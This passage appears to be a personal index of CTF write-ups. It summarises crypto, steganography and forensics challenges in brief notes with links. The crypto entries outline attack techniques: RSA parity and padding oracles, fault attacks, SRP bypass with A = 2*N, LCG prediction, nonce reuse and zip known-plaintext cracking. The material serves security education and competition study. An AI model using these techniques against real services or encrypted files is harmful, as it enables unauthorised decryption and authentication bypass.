668breaking Goldreich-Goldwasser-Halevi lattice encryption
669http://hxp.io/blog/26/
670
671* rabit - plaidctf-2016
672parity oracle - exploit least significant bit oracle using binary-search
673in malleable cryptosystems (like RSA or Rabin), the property exists:
674c = m^e % N
675y = x^e % N
676c' = (c*y) % N = (m^e % N)*(x^e % N) % N = (m^e * x^e) % N = (m*x)^e % N
677so we can arbitrarily multiply the plaintext, with Rabin if we multiply ciphertext by 4 we multiply plaintext by 2
678we send 4*CT (sqrt_mod(4*CT, N) = sqrt_mod(4, N)*sqrt_mod(CT, N) = 2*PT mod N), if lsb == 0 then 2*PT < N otherwise 2*PT > N
679https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/PCTF/crypto/rabit
680
681* sexec - plaidctf-2016
682attacking a small instance of Ring-LWE based cryptosystem with Babai’s Nearest Vector algorithm
683http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/
684
685* radioactive - plaidctf-2016
686fault attack on RSA signature (not RSA-CRT)
687http://mslc.ctf.su/wp/plaidctf-2016-radioactive-crypto-275/
688
689* tonnerre - plaidctf-2016
690break SRP via session secret fixation (g^2)
691https://github.com/ctfs/write-ups-2016/tree/master/plaidctf-2016/crypto/tonnerre-300
692
693* spotted wobbegong - google-ctf-2016
694rsa pkcs1.5 padding oracle
695http://mslc.ctf.su/wp/google-ctf-spotted-wobbegong-crypto-100/
696
697* woodman - google-ctf-2016
698PRNG consisting of two LCG combined with xor.
699http://mslc.ctf.su/wp/google-ctf-woodman-crypto-100/
700
701* rsacalc - google-ctf-2016
702service supports basic arithmetic calculations modulo N
703recover N via 1/2 * 2 - 1 => N
704discover padding used is pkcs1.5 and exponent is 65537
705service supports sqrt, recover a prime factor via gcd(A-a', N) where A=a^2 % N with a=rand(2, N-1) and a'=sqrt(A) % N
706https://neg9.org/news/2016/5/4/google-ctf-2016-rsacalc-crypto-300-writeup
707
708* little crypto gambler - ctfx-2016
709pseudorandom numbers generated using a Linear Congruential Generator
710several fast ways to crack them based on only a few outputs
711one way can be found here: http://security.stackexchange.com/a/4306
712bet 1 ~7 times and calculate the LCG parameters, then calculate the next number and bet everything
713https://github.com/bobacadodl/ctfx-problems/tree/master/crypto/little_crypto_gambler-150
714
715* twin primes - tokyo-western-ctf-2016
716flag encrypted with 2 keys. key1 with modulus p*q. key2 with modulus (p+2)*(q+2)
717https://github.com/TeamContagion/CTF-Write-Ups/tree/master/TokyoWesterns-2016/Twin%20Primes
718or use sympy to automatically solve equation (related-moduli.py)
719
720* dam - asis-ctf-2016
721generalized version of the Pallier cryptosystem: the Damgard–Jurik cryptosystem
722hoping server generates a key with a small prime factor
723https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/dam
724
725* secuprim - asis-ctf-2016
726we need to provide the number of primes and perfect powers in a given range
727ranges are small so we can just iterate and use gmpy2.is_prime and gmpy2.is_power
728https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/secu_prim
729
730* only9 - asis-ctf-2016
731encryption oracle with sbox + matrix and a 9 round key schedule
732solve with square attack:
733Pick an index i and 256 plaintexts P_k that all differ in byte i, but coincide
734in all indexes j != i. Then after 8 rounds, the i-th byte of the XOR of all
735ciphertexts C_k of P_k is 0. We can use this to mount a square attack
736The final ciphers after 9 rounds are C'_k = M*(SBOX(C_k)) ^ K where K is the
737last round key. This can be rewritten as C_k = SBOX^-1((M^-1 * C'_k) ^ (M^-1 * K))
738We can use the characteristic from above to brute force the i-th byte of
739M^-1 * K. Do this for all i to get K completely. Then reconstruct the original
740key from it by reversing the key schedule.
741https://github.com/kitctf/writeups/blob/master/asis-finals-2016/only9/solve.py
742
743* races - asis-ctf-2016
744combination of ECC and RSA (ECRSA)
745flag encrypted with a lot of public keys, use gmpy2 to find two public rsa keys that share the same prime and factor them
746decrypt flag using the provided multiply function (implements Montgomery Ladder Scalar Multiplication on Elliptic Curve)
747https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/races
748http://blog.ankursundara.com/asis-ctf-finals-2016-races/
749
750* srpp - asis-ctf-2016
751bypass SRP with A = 2*N
752https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/srpp
753
754* dsa - asis-ctf-2016
755recover private key because k = (1..1024)*magic (only 1024 ks can possibly be generated)
756https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/dsa
757
758* broken box - csaw-ctf-2016
759fault attack on textbook RSA signing (not RSA-CRT)
760decryption oracle sometimes give different signatures (m^d) for the same m
761we see that the different signatures match the size of the modulus in bits
762so maybe the server sometimes flips one single bit of the secret exponent d
763therefore we get badsig == m^(d (xor) 2^k) % N == m^(d - 2^k) % N
764we can test every k because there are only 1024 possible values
765if k'th bit in d was 1 and was flipped to 0, then d = d - 2^k so pow(m, d - 2^k) == pow(m, d) / pow(m, 2^k) (mod k)
766if k'th bit in d was 0 and was flipped to 1, then d = d + 2^k so pow(m, d + 2^k) == pow(m, d) * pow(m, 2^k) (mod k)
767https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/broken_box
768
769part2: faults only in the 300 least significant bits of d
770but there is a theorem stating that we need only n/4 of the LSB bits to recover full d, as long as e is reasonably small
771we use LLL-based attack when more than quarter of the secret exponent bits are known
772after finding 300 least significant bits of p, we can use Coppersmith method for finding small roots of polynomials modulo p
773http://mslc.ctf.su/wp/csaw-quals-2016-broken-box-crypto-300-400/
774https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/still_broken_box
775
776* handmade - h4ckit-ctf-2016
777custom Rijndael with 3 elements of the SBox where swapped around
778we have ciphertext + key, use c++ prog to bruteforce SBox and SInvBox to recover flag (5M possibilities)
779https://github.com/JulesDT/ctfWriteUps/tree/master/Hackit%20Quals%202016/Handmade%20encryption%20standard%20-%20Crypto%20-%20250%20pts
780
781* cornelius - hack.lu-ctf-2016
782zlib compression before encryption allows to leak flag (CRIME)
783https://ctf.rip/hack-lu-ctf-2016-cornelius1-crypto-challenge/
784
785* redacted - hack.lu-ctf-2016
786recover private RSA key from redacted ASN.1
787https://github.com/ctfs/write-ups-2016/tree/master/hack.lu-ctf-2016/crypto/redacted-200
788
789* cryptolocker - hack.lu-ctf-2016
7904-rounds of encryption but pads plaintext so we can recover the password 2 bytes at a time by attempting to decrypt the ciphertext once and checking if the padding is valid
791http://van.prooyen.com/cryptography/2016/10/20/cryptolocker-Writeup.html
792
793* ish - hackover-ctf-2016
794challenge-response where client and server share common key k
795client sends a random nonce r1 to the server so the server can send back enc(r1, k)
796server then sends a random nonce r2 to the client so the client can send enc(r2, k)
797we dont have k but we can auth by having 2 clients running in parallel and make the server do all the work
798https://github.com/grocid/CTF/tree/master/Hackover/2016#ish_12-insecure-shell
799
800* guessr - hackover-ctf-2016
801truncated linear congruential generator
802given a starting seed x, next value is computed as x = ax + b (mod m) then the outputted value is y = (x (mod 100)) + 1
803sample a few values (the RNG will not re-seed if we are wrong then generate the whole sequence and check for matches
804https://github.com/grocid/CTF/tree/master/Hackover/2016#guessr
805
806* lets decrypt - hitcon-ctf-quals-2016
807server decrypts user input using AES CBC with key=IV ans the flag is the key
808http://ctfsolutions.blogspot.com.au/2016/10/hitcon-ctf-2016-lets-decrypt.html and rizzoma
809
810* twin primes - mma-ctf-2016
811two rsa keys with: n1 = pq and n2=(p+2)(q+2) => pq + 2p + 2q + 4
812n2 - n1 = 2p + 2q + 4 => let s = (n2 - n1 - 4)/2 = p + q
813q = (s - p)
814n1 = p(s-p) = ps - p^2
815p^2 - sp + n1 = 0 => p = (s + gmpy2.isqrt(-s*-s-4*1*n1))/2
816or use from sympy: from sympy import *; from sympy.solvers import solve; p, q = solve([Eq(p*q, n1), Eq((p+2) * (q+2), n2)], [p, q])[0]
817https://github.com/TeamContagion/CTF-Write-Ups/tree/master/TokyoWesterns-2016/Twin%20Primes
818
819* esper - mma-ctf-2016
820server can encrypt or decrypt user input
821recover N with pgcd(c1 - 2^65537, c2 - 3^65537) = N
822recover q with pgcd(N, (h1-h2)*q) = q
823https://0x90r00t.com/fr/2016/09/08/mma-ctf-2016-crypto-180-esper-write-up/
824
825* pinhole attack - mma-ctf-2016
826RSA decryption oracle leaking 2 consecutive bits in the middle
827http://mslc.ctf.su/wp/tokyo-westernsmma-ctf-2016-pinhole-attack-crypto-500/
828
829* backdoored crypto system - mma-ctf-2016
830recovering AES key from partial subkey leaks
831http://mslc.ctf.su/wp/tokyo-westernsmma-ctf-2016-backdoored-crypto-system-reversecrypto-400/
832
833* lsb oracle - sharif-ctf-2016
834oracle gives the least significant bit of the decryption of a ciphertext
835multiply the ciphertext by 2^e, essentially doubling the plaintext.
836With the bit from the LSB oracle, we can now decide if the plaintext would have been reduced modulo N, when multiplied with 2. If it was not reduced, the LSB is 0, since it is an even number.
837If it is 1, then the even number got reduced modulo N, giving an odd number.
838Therfore we can now say if P is less or greater than N/2. We can now repeat this process for 2P,4P,8P.. further constricting P, until we got the correct value for P
839https://losfuzzys.github.io/writeup/2016/12/18/sharifctf-lsb-oracle/
840https://losfuzzys.github.io/writeup/2016/12/18/sharifctf-lsb-oracle-lobotomized/
841
842* financial transaction - tjctf-2016
843brute force Enigma encryption
844https://github.com/ctfs/write-ups-2016/tree/master/tjctf-2016/crypto/financial-transaction-60
845
846* secure transmission - tu-ctf-2016
847break diffie hellman key exchange because a small group was used
848https://github.com/ctfs/write-ups-2016/tree/master/tu-ctf-2016/crypto/secure-transmission-150
849
850* hashnbake - tu-ctf-2016
851keyed hash function (hmac) using 64-bit crc function
852https://github.com/ctfs/write-ups-2016/tree/master/tu-ctf-2016/crypto/hash-n-bake-200
853
854* hiecss - tum-ctf-2016
855forge ecc signature
856https://github.com/ctfs/write-ups-2016/tree/master/tum-ctf-2016/crypto/hiecss-150
857
858* tacos - tum-ctf-2016
859bypassing Fermat primality test with Carmichael numbers and solving discrete logarithm using Pohlig-Hellman algorithm
860http://mslc.ctf.su/wp/tum-ctf-2016-tacos-crypto-300/
861
862* ndis - tum-ctf-2016
863attacking nonce-repeating TLS server using AES-GCM cipher.
864http://mslc.ctf.su/wp/tum-ctf-2016-ndis-crypto-300/
865
866* shaman - tum-ctf-2016
867hash length extension, manipulation of secret shares
868http://mslc.ctf.su/wp/tum-ctf-2016-shaman-crypto-500/
869
870* multi party computation - boston-key-party-2017
871paillier cryptosystem
872http://www.rogdham.net/2017/02/27/boston-key-party-2017-write-ups.en
873
874* sponge - boston-key-party-2017
875meet in the middle to find collision for a custom hash using AES
876https://ctftime.org/task/3496
877
878* paillier service - easy-ctf-2017
879easy Paillier Cryptosystem challenge
880https://github.com/HackThisCode/CTF-Writeups/blob/master/2017/EasyCTF/Paillier%20Service/README.md
881
882* curved - volga-ctf-quals-2017
883ecdsa reused nonce
884https://github.com/epadctf/volgactf/tree/master/curved
885
886* encrypted shell - pico-ctf-2017
887Pollard's Kangaroo Algorithm and sage to break diffie hellman
888https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/Encrypted_Shell/Encrypted_Shell.html
889
890* alice, bob and rob - asis-ctf-quals-2017
891McElice PKC
892https://grocid.net/2017/04/08/asis-ctf17/
893
894* eula - uiuctf-2017
895Bleichenbacher’s signature forgery on e=3 and PKCS#1 v1.5
896https://tylerkerr.ca/b/2017/04/uiuctf-2017-eula
897
898* papaRSA - uictf-2017
899e=5, solve with Coppersmith's method, which uses the Lenstra–Lenstra–Lovász lattice basis reduction algorithm (LLL)
900https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/UIUCTF/problems/Cryptography/papaRSA/
901
902* ranshomware - sctf-2017
903aes-ctr with reuse IV
904https://jbzteam.github.io/crypto/SecurityFest2017-Ranshomware
905
906* rsa ctf challenge - google-ctf-2017
907Bleichenbacher's signature forgery on e=3 and PKCS#1. v1.5
908solve with Filippo Valsorda CVE-2016-1494 technique
909http://karabut.com/google-ctf-2017-quals-rsa-ctf-challenge-writeup.html
910
911* lucky consecutive guessing - polictf-2017
912fixed lcg with partial output
913classic linear congruential generator, where the current random number is not the full state, but just the 32 most significant bits.
914https://jbzteam.github.io/crypto/PoliCTF2017-LuckyConsecutiveGuessing
915
916* splyt - polictf-2017
917Shamir Secret Sharing Scheme
918secret split into N shares so that at least T shares are needed to reconstruct the secret
919specifically, each character in the secret (in this case our flag) is being splitted into N shares
920https://dowsll.github.io/writeups/polictf2017/splyt
921
922* mprsa - ctfzone-2017
923rsa wiener
924https://github.com/p4-team/ctf/tree/master/2017-07-15-ctfzone/mprsa
925
926* hack in the card - hitb-ctf-singapore-2017
927recover RSA private key from voltage variation of the resistor during the decrypt process using this smart card
928then factorize modulus N using recovered d
929https://tradahacking.vn/hitb-gsec-singapore-2017-ctf-write-ups-crypto-category-803d6c770103
930
931* prime - hitb-ctf-singapore-2017
932calculate number of primes + number of squares of primes, less than 10^16
933https://rawsec.ml/en/HITB-2017-write-ups/#prime-mobile
934
935* chinese satellite - h4ckit-ctf-2017
936quantum key exchange
937https://github.com/p4-team/ctf/tree/master/2017-08-25-hackit/crypto200
938
939* 4 messages - h4ckit-ctf-2017
940break playfair cipher given 4 ciphertexts of a plaintext that starts with known string
941https://ctftime.org/task/4510
942
943* liar's trap - mma-ctf-2017
944flag divided into N=100 pieces Shamir secret sharing so i can be recovered given at least K=25 pieces but L=38 pieces have been corrupted
945use Reed-Solomon error-correcting codes
946https://galhacktictrendsetters.wordpress.com/2017/09/05/tokyo-westerns-ctf-2017-liars-trap/
947
948* babypinhole - mma-ctf-2017
949we have a Paillier cryptosystem. We are given a decryption oracle, which leaks only one bit in the middle of the plaintext
950due to homomorphic properties of the Paillier cryptosystem, we can recover the full decryption using such an oracle
951http://mslc.ctf.su/wp/twctf-2017-solutions-for-babypinhole-liars-trap-palindrome-pairs-challenge
952https://github.com/p4-team/ctf/tree/master/2017-09-02-tokyo/crypto_pinhole
953
954* bad aes - sect-ctf-2017
955aes with custom sbox missing last 16 bytes (patch pyaes to try all permutations)
956https://pequalsnp-team.github.io/writeups/Bad-Aes
957
958* madlog - sect-ctf-2017
959discrete logarithm with e containing lots of zeros, solve with baby-step giant-step
960https://github.com/ymgve/ctf-writeups/tree/master/sect2017/crypto200-madlog
961
962* gracias - asis-ctf-2017
963Small Secret Exponent Attack against Multi-Prime RSA
964https://elliptic-shiho.github.io/ctf-writeups/#!ctf/2017/ASIS%20CTF%20Finals/cr287-Gracias/README.md using Boneh-Durfee
965https://gist.github.com/niklasb/84fb894c7658f29b21fd7b7e1704f799 using Wiener
966
967* extends me - backdoor-ctf-2017
968hash length extension with SLHA1 a variant of SHA1
969https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/backdoorctf-2017/web/extends-me-250
970
971* stereotype - backdoor-ctf-2017
972we are given a ciphertext and the plaintext but with the last chars of flag changed to X
973replace every X to null-bytes and apply Coppersmith Attack
974https://hva314.github.io/blog/2017/09/24/Backdoor-CTF-2017-Crypto.html
975
976* asymetric encryption - pwn2win-ctf-2017
977server provides public params for ElGamal, RSA and Paillier cryptosystems, but the params are small
978use baby-step-giant-step to compute the discrete log for ElGamal, yafu to factor modulus for RSA and Paillier
979RSA is homomorphic to the multiplication and powers so enc((31*a)^7) == pow(enc(31)*enc(a)%n,7,n)
980Pallier is homomorphic to the addition and the multiplication so enc(31*a+12*b+56) == (pow(E(a),31,n**2)*pow(E(b),12,n**2))*E(56)%n**2
981and with ElGamal enc(a^7) == [pow(enc(a)[0], 7, q), pow(enc(a)[1], 7, q))]
982https://teamrocketist.github.io/2017/10/22/Crypto-Pwn2Win-2017-Asymmetric-Encryption/
983
984* differential privacy - pwn2win-ctf-2017
985differential privacy mechanism Laplace, service is adding laplace noise to each ascii char of the flag
986we know that Laplace(0, sensitivity/epsilon) has average 0 so if we average sufficient anonymized records of the flag
987the random noise added will be canceled and the original ascii values will be obtained
988https://teamrocketist.github.io/2017/10/22/Crypto-Pwn2Win-2017-Differential-Privacy/
989
990* escape from arkham - 3dsctf-2017
991sharmir's secret sharing
992https://ctftime.org/writeup/8424
993
994# }}}
995
996# stegano {{{
997* blocks - asis-ctf-quals-2014
998361x361 png image
99919x19 image hidden in alpha plane 0 (LSB)
1000xor 2 images to get flag
1001https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/blocks
1002
1003* tortureous sound - asis-ctf-quals-2014
1004spectrogram analysis
1005SSTV
1006http://www.incertia.net/blog/asis-2014-quals-tortureous-sound/
1007
1008* white-noise - asis-ctf-quals-2014
1009extract RGB values of each pixel, G and B are coordinates (scatter-plot) displaying the flag
1010https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/white-noise
1011
1012* a-png-tale - confidence-ctf-teaser-2015
1013flag hidden in IDAT chunk via a filter
1014
1015* pixel-princess - ectf-2014
1016jpg containing a hidden jpg
1017use steghide to extract tar.gz from main jpg
1018https://github.com/ctfs/write-ups-2014/tree/master/ectf-2014/pixel-princess
1019
1020* shift keying - ghost-in-the-shellcode-2015-teaser
1021demodulate gnuradio to a jpg
1022https://github.com/ctfs/write-ups-2014/tree/master/ghost-in-the-shellcode-2015-teaser/dont-panic-shift-keying
1023
1024* godmode - nuit-du-hack-ctf-qualifications 2014
1025info hidden in LSB (least significant bit)
1026http://dem0version.wordpress.com/2012/03/14/hello-world/
1027rotate 90 degrees clockwise and use stegsolve -> Data extract, tick Red 0, Green 0, Blue 0 and Column, and click Preview
1028
1029* the greatest - nuit-du-hack-ctf-qualifications 2014
1030extract gif file
1031get some info:
1032$ gifsicle --xinfo greg.gif
1033There is no much possibilities for stegano in GIF as the image is made of refs to the colormap so it could be:
1034  - position of pixels of a given color
1035  - duplicates or alike in the colormap (e.g. #cccccc and #cccbcc) or other tricks 
1036So let's dump the colormap:
1037$ gifsicle --color-info greg.gif
1038  greg.gif 1 image
1039  logical screen 500x645
1040  global color table [256]
1041  |   0: #FFFFFF      64: #A3835C     128: #1E3E71     192: #769DD1
1042  |   1: #FCF5F6      65: #A37F81     129: #030915     193: #0F314D
1043  |   2: #F5E9E8      66: #A27C58     130: #546473     194: #5982BB
1044[...]
1045  |  61: #A48A64     125: #675847     189: #4B3A47     253: #000000
1046  |  62: #A3BCE1     126: #101627     190: #7CA2CD     254: #000000
1047  |  63: #A38C6B     127: #4C6169     191: #594837     255: #000000
1048  background 65
1049  + image #0 500x645
1050We can spot two oddities:
1051  - there are quirks in the sorting
1052  - a normal gif file would start with #000000 and end with #FFFFFF, and then #000000 padding
1053Googling for "gif stegano colourmap" yields the gifshuffle tool. But ./gifshuffle greg.gif outputs binary garbage and -C outputs gibberish as well.
1054The tool was probably modified to reverse sort the colormap table. Patch gifshuffle, compile & run to get the flag.
1055
1056* puzzle - hitcon-ctf-2014
1057extract 100 thumbnails from jpg and puzzle them together to see flag
1058https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/puzzle
1059
1060* wiretap - ncn-ctf-2014
1061wav file, diff the 2 channels to extract an image file
1062https://ctfcrew.org/writeup/91
1063
1064* find da key - olympic-ctf-2014
1065can hide bits in base64
1066
1067* welcome to forensics - olympic-ctf-2014
1068php code with lots of non-ascii trash commented out
1069hint was short_open_tags in php is: <?#
1070php allows names to be non-ascii so used Xdebug instead of de-obfuscating code
1071used z3 to solve operations
1072
1073* illegal radio - olympic-ctf-2014
1074gnu radio / fm radio transmission
1075http://blog.dragonsector.pl/2014/02/olympic-ctf-2014-illegal-radio.html
1076
1077* mp3 me - phd-ctf-quals-2014
1078flag in id3 tag, zlib compressed (not an image)
1079http://hacktracking.blogspot.com.au/2014/01/phdays-ctf-quals-2k14-mp3-me-1400-points.html
1080
1081* doge stege - plaid-ctf-2014
1082png with 8-bit colormap (typical stegano)
1083find flag by changing palette
1084https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/doge-stege
1085
1086* cat's eye - ructf-2014-quals
1087gif with flag difference between frames
1088https://github.com/ctfs/write-ups-2014/tree/master/ructf-2014-quals/stegano-100
1089
1090* the flag awakens - seccon-ctf-2014
1091extract qr code from frames of a video
1092https://github.com/ctfs/write-ups-2014/tree/master/seccon-ctf-2014/seccon-wars-the-flag-awakens
1093
1094* strange - asis-ctf-finals-2015
1095big png file, uncompress IDAT to find hex strings, convert to binary, draw black pixel if value is 1
1096http://blog.squareroots.de/en/2015/10/asis-ctf-finals-2015-strange/
1097
1098* qr - backdoor-ctf-2015
1099convert qr code rendered as terminal lines into an image and use qrcode python import to scan it
1100http://capturetheswag.blogspot.com.au/2015/04/backdoor-ctf-2015-qr-challenge-response.html
1101
1102* poem - volgactf-quals-2015
1103varying spaces between each line
1104decompress PDF streams using qpdf --qdf --object-streams=disable poem.pdf out.pdf
1105we focus on the text-positioning operators that move a text line
1106a Td text line operator has two operands, the flag was encoded in second operand of each Td (14 is 0 and 17 is 1)
1107https://github.com/ctfs/write-ups-2015/tree/master/volgactf-quals-2015/stego/poem
1108
1109* strange text - volgactf-quals-2015
1110strange text file containing some float numbers
11110.09.491787910461426,0.3002592921257019,
11120.09.47504711151123,0.30399078130722046,
1113...
11140.09.491787910461426 is an x point 0.491787910461426 with key 09 and 0.3002592921257019 is the related y point
1115we can plot each of these points using matplotlib
1116https://github.com/ctfs/write-ups-2015/tree/master/volgactf-quals-2015/stego/strange-text
1117
1118* midi - volgactf-quals-2015
1119parse midi file
1120https://www.whitehatters.academy/volgactf-2015-midi/
1121
1122* you cant see me - breakin-ctf-2016
1123image 7 by 200 pixels (i.e. a bar), with only black and red pixels (black=0, red=1)
1124https://github.com/objEEdump/breakin/tree/master/you_cant_see_me
1125
1126* look at these colours - pragyan-ctf-2016
1127stripe of greys
1128
1129* lily.flac - boston-key-party-2016
1130ELF encoded file in FLAC audio file
1131sox lily.flac lily.raw (to output headerless (raw) audio)
1132
1133* catvideo - bctf-2016
1134every frame was xored with the first frame
1135extract frames with ffmpeg -i catvideo.mp4 -r 1/1 output%d.png
1136diff (xor) first frame with every other frame: for i in {2..66}; do convert output1.png output$i.png -evaluate-sequence xor xor$i.png; done (flag shows in every xored png)
1137diff (xor) frames in pairs: for i in {2..66}; do convert output$((i-1)).png output$i.png -evaluate-sequence xor xor$i.png; done (flag shows in only 2)
1138http://veganzombies.org/writeups/2016/03/21/BCtf-catvideo.html
1139can also use PIL/ImageChops to easily add/substract/xor 2 frames http://err0r-451.ru/2016-bctf-forensic-catvideo-150-pts/
1140
1141* midifan - bctf-2016
1142had to convert midi to csv with http://www.fourmilab.ch/webtools/midicsv/
1143https://gist.github.com/elliptic-shiho/67896be92f3dd8fd485b
1144
1145* xorpainter - 0ctf-2016
1146big csv file, each row contains 4 numbers, first pair always smaller than second pai -> rectangles
1147https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/xorpainter
1148
1149* stegano sound - nuitduhack-quals-2016
1150spectrogram analysis (can notice background noise)
1151braille alphabet
1152https://www.asafety.fr/cryptologie/ctf-ndh-2016-quals-write-up-steganalysis-stegano-sound/
1153
1154* pcapbleeding - insomnihack-ctf-2016
1155parse pcap to find private key by trying every prime number that factored the modulus
1156https://duksctf.github.io/blog/2016/03/21/Inso2016-pcapbleeding
1157
1158* moleman - nuitduhack-quals-2016
1159recover blurred flag
1160https://github.com/sysdream/WriteUps/blob/master/ndhquals2016/Moleman.md
1161
1162* magic code - google-ctf-2016
1163reed-solomon error correction code in alpha pane 0 (crc used by dvd, satellite, qr code)
1164use reedsolo python lib with Codec 40,8 to decode
1165http://fadec0d3.blogspot.com.au/2016/05/google-ctf-2016-magic-codes-250.html
1166
1167* matrix - icectf-2016
1168qr code with each line represented as a number
1169replace 0s with '#' and 1s with ' ' to get a qr code image
1170provided = [0x00000000, 0xff71fefe, 0x83480082, 0xbb4140ba, 0xbb6848ba, 0xbb4a80ba, 0x83213082, 0xff5556fe, 0xff5556fe, 0x00582e00, 0x576fb9be, 0x707ef09e, 0xe74b41d6, 0xa82c0f16, 0x27a15690, 0x8c643628, 0xbfcbf976, 0x4cd959aa, 0x2f43d73a, 0x5462300a, 0x57290106, 0xb02ace5a, 0xef53f7fc, 0xef53f7fc, 0x00402e36, 0xff01b6a8, 0x83657e3a, 0xbb3b27fa, 0xbb5eaeac, 0xbb1017a0, 0x8362672c, 0xff02a650, 0x00000000]
1171for x in provided:
1172    print "{0:032b}".format(x).replace('1', ' ').replace('0', '#')
1173
1174* p1ng - asis-ctf-2016
1175animated png (APNG), unpack all frames
1176https://github.com/ctfs/write-ups-2016/tree/master/asis-ctf-2016/forensic/p1ng-121
1177
1178* television - backdoor-ctf-2016
1179xor image i with image i+1, then xor resulting image with i+2 and so on
1180https://github.com/p4-team/ctf/blob/master/2016-06-04-backdoor-ctf/stegano_television/README.md
1181
1182* lossless - backdoor-ctf-2016
1183compare original.png encrypted.png diff.png -> images differ only in the top right corne
1184or use https://futureboy.us/stegano/compinput.html to enhance clarity
118549x7 binary matrix, strings with blue=1 and black=0, 7 rows -> 1 ascii char per column
1186http://www.codilime.com/backdoorctf16-lossless/
1187
1188* brainfun - csaw-ctf-2016
1189the alpha values are in the printable ascii range
1190rearrange the pixel values by RGB value, using the key red<<8 + green<<4 + blue, produces brainfuck code
1191use pybrainfuck to decode flag
1192https://gist.github.com/Lense/a8e94e96f886cb773f646b8aaea806fc
1193
1194* ninth - mma-ctf-2016
1195flag is in additional compressed data in each IDAT chunk
1196https://codisec.com/tw-mma-2-2016-ninth/
1197# }}}
1198
1199# forensics {{{
1200* windows forensics - nuit-du-hack-ctf-qualifications 2014
1201pagefile.sys
1202
1203* curlcore - plaid-ctf-2014
1204find SSL master key in coredump and decrypt TLS session with wireshark
1205
1206* zfs - plaid-ctf-2014
1207encrypted disk, found xor key and used to unxor disk
1208https://fail0verflow.com/blog/2014/plaidctf2014-for400-zfs.html
1209
1210* the golden gate - seccon-ctf-2014
1211picture of a logical schema (nand gates)
1212https://github.com/ctfs/write-ups-2014/tree/master/seccon-ctf-2014/the-golden-gate
1213
1214* qr - seccon-ctf-2014
1215half qr code
1216decoding by hand
1217https://yous.be/2014/12/07/seccon-ctf-2014-qr-easy-write-up/
1218
1219* config bin - 32c3-ctf-2015
1220cracking firmware 5-char password fast because we know the plaintext magic 3-byte header
1221https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/forensics/config-bin-150
1222
1223* broken heart - asis-quals-ctf-2015
1224tcpflow or dshell or re-assemble file split in multiple Content-Range responses, of fragments and packets in wrong order
1225https://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf-2015/forensic/broken-heart
1226
1227* zrypt - asis-quals-ctf-2015
1228password protected zip (zip 2.0 encryption)
1229you can recover encryption key if you have any of the zipped files (pkcrack https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html)
1230this attack works only if using standard zip 2.0 encryption it wont work against AES encrypted zips
1231http://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf-2015/forensic/zrypt
1232
1233* heath street - boston-key-party-2015
1234recover deleted file from ext4 filesystem using: extundelete --restore-all
1235https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/school-bus/heath-street
1236
1237* riverside - boston-key-party-2015
1238restore mouse movements from usb pcap
1239https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/school-bus/riverside
1240
1241* apt incident response - camp-ctf-2015
1242vmware memory dump + debian + volatility
1243recover deleted file from memory
1244https://github.com/ctfs/write-ups-2015/tree/master/camp-ctf-2015/forensics/APT-incident-response-400
1245
1246* puzzleng - hitcon-ctf-quals-2015
1247png encrypted with xor, key is different every 20 blocks
1248we can break this because structure of png is predictible
1249https://github.com/pwning/public-writeup/blob/master/hitcon2015/forensic250-puzzleng/readme.md
1250
1251* qr code recovery challenge - mma-ctf-2015
1252recovery by hand
1253https://github.com/pwning/public-writeup/blob/master/mma2015/misc400-qr/writeup.md
1254
1255* png-uncorrupt - plaidctf-2015
1256png chunks with incorrect CRC because some \x0d\x0a were converted to \x0a
1257if length is correct and CRC is incorrect, only fix CRC
1258if length is incorrect, prepends \x0d in front of every \x0a and CRC should now match
1259https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/forensics/png-uncorrupt
1260
1261* its hungry - polictf-2015
1262spectrogram using sox blah.flac -n spectrogram
1263converting audio to note sheet
1264https://github.com/ctfs/write-ups-2015/tree/master/polictf-2015/forensics/its-hungry
1265
1266* russian doll - volgactf-quals-2015
1267bitlocker encrypted volume
1268use Diskinternals EFS recovery to mount given iso as raw disk image
1269volume name which contains the password
1270https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/VOLGACTF/forensics/russiandoll
1271
1272* dtune - backdoor-ctf-2016
1273audio file with sounds of phone dial tones
1274use http://dialabc.com/sound/detect/ to parse DTMF or audacity plugin to find which numbers were pressed
1275then T9-decode numbers to get flag
1276https://github.com/ctfs/write-ups-2016/tree/master/backdoor-ctf-2016/stego/dtune-70
1277
1278* upload - bctf-2016
1279btrfs image
1280restore the snapshots with btrfs restore -si disk.img blah
1281list the trees with btrfs restore -l disk.img and extract with btrfs restore -r 278 disk.img blah2
1282https://www.xil.se/post/bctf-2016-upload-forensics-kbeckmann/
1283
1284* catch me if you can - nullcon-hackim-2016 
1285matryoshka compression doll
1286https://github.com/ctfs/write-ups-2016/tree/master/nullcon-hackim-2016/forensics/catchmeifyoucan-100
1287
1288* uagent - su-ctf-2016
1289nice use of scapy to extract User-Agent and download file (with parts out of order)
1290
1291* blocks - su-ctf-2016
1292reconstructing a png from sqlite, had to reorder the IDAT chunks
1293https://www.xil.se/post/sharifctf-2016-forensics-blocks-arturo182/
1294
1295* odrrere - asis-quals-ctf-2016
1296use TweakPNG windows GUI tool to reorder IDAT chunks and easily review the result
